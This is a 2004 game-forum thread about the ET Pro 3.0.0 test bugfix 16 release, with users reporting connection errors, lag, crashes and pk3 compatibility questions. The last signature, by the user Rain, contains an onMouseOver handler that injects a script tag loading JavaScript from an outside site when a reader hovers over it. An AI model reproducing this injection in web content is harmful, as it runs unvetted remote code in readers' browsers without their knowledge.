ET Pro 3.0.0 test bugfix 16 released

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bani
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ET Pro 3.0.0 test bugfix 16 released

Post by bani »

The test bugfix release version 16 for 3.0.0 is now available.

This should address all remaining critical bugs in 3.0.0.

Please test it and post your feedback (good or bad) in this thread.
Last edited by bani on Sun Apr 04, 2004 6:39 pm, edited 1 time in total.
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Error

Post by HSF JoE BoB »

I'm getting the following error when I attempt to connect to my server

BG_IndexForString: unkown token 'NOT' (animations) scripts/human_base.script, Line 3351

I looked at the file and it ends at line 3211

Am I doing something wrong
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Post by HSF JoE BoB »

update - I have had a couple other people attempt to connect and they all get the same message - The server is up and running but no one can connect to it.
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Ragnar_40k
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Post by Ragnar_40k »

ET Pro 3.0.0 test bugfix 16 - Sat Apr 3 19:24:33 PST 2004 wrote:Medics would regenerate during match pauses
Shouldn't everything freeze during match pauses, including player states?
The Emperor watch over you.
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Post by HSF JoE BoB »

That is why he fixed it - medics no longer recharge - it was a bug in the 3.0.0 but has been fixed in this bugfix
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bani
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Re: Error

Post by bani »

HSF JoE BoB wrote:I'm getting the following error when I attempt to connect to my server

BG_IndexForString: unkown token 'NOT' (animations) scripts/human_base.script, Line 3351

I looked at the file and it ends at line 3211

Am I doing something wrong
set sv_pure 1
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Post by HSF JoE BoB »

well - thanks I guess - kinda feel like a dumb ass - changed it and works fine

Thanks for the quick response

Testing it now - working on filling it up and see what she does
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bani
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Post by bani »

it will also yell at you in the server console if you have it grossly misconfigured like forgetting sv_pure 1. this assumes you have console access to the server.
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Post by HSF JoE BoB »

well initial tests are very good - seems to run a little smoother
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Post by BlackJudas »

I've had some complaints about lag. Seems when a map starts (the FIGHT announcement comes up) the lag-o-meters spike to half full and slowly drop as the game goes on.

At times intermittent lag occurs, though I cannot gurantee that the server's link was "pristine", seems the complaints came up after I had upgraded to bugfix 16.

Anyone else experience "intermittent" lag?
ToeD
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Post by ToeD »

my et keeps crashing when i try to browse the server ingame when etpro is on. i tried to reinstall and then it works fine, but if i use my own config (nothing special) it crashes. it happend after i played at a incorrect installed etpro3 server but i havent been able to find out why :(

toed
[KuB]FraGiLe
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Post by [KuB]FraGiLe »

Are the bugfixes downward compatible ? I.e. if i put bugfix16 on one server can a client connect to a bugfix14/15 server without having to download the other etpro-3_0_0.pk3 ?
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Post by Lekdevil.NL »

Found a minor UI bug: When using the \teammenu feature, the weapon selection page is titled "Choose class" instead of "Choose weapon".
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Rain
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Post by Rain »

[KuB]FraGiLe wrote:Are the bugfixes downward compatible ? I.e. if i put bugfix16 on one server can a client connect to a bugfix14/15 server without having to download the other etpro-3_0_0.pk3 ?
They won't have to redownload the pk3 if they already had it...

If you need a pk3 and you already have one by the same name, ET will never overwrite the existing pk3--instead, it'll save the new one with the checksum just before the extension.

For example, in ~/.etwolf/etpro, I have:
<pre>etpro-3_0_0.bdbc71bc.pk3<br>etpro-3_0_0.d91d955d.pk3<br>etpro-3_0_0.pk3<pre>
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
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Post by [KuB]FraGiLe »

Thx 4 support :D
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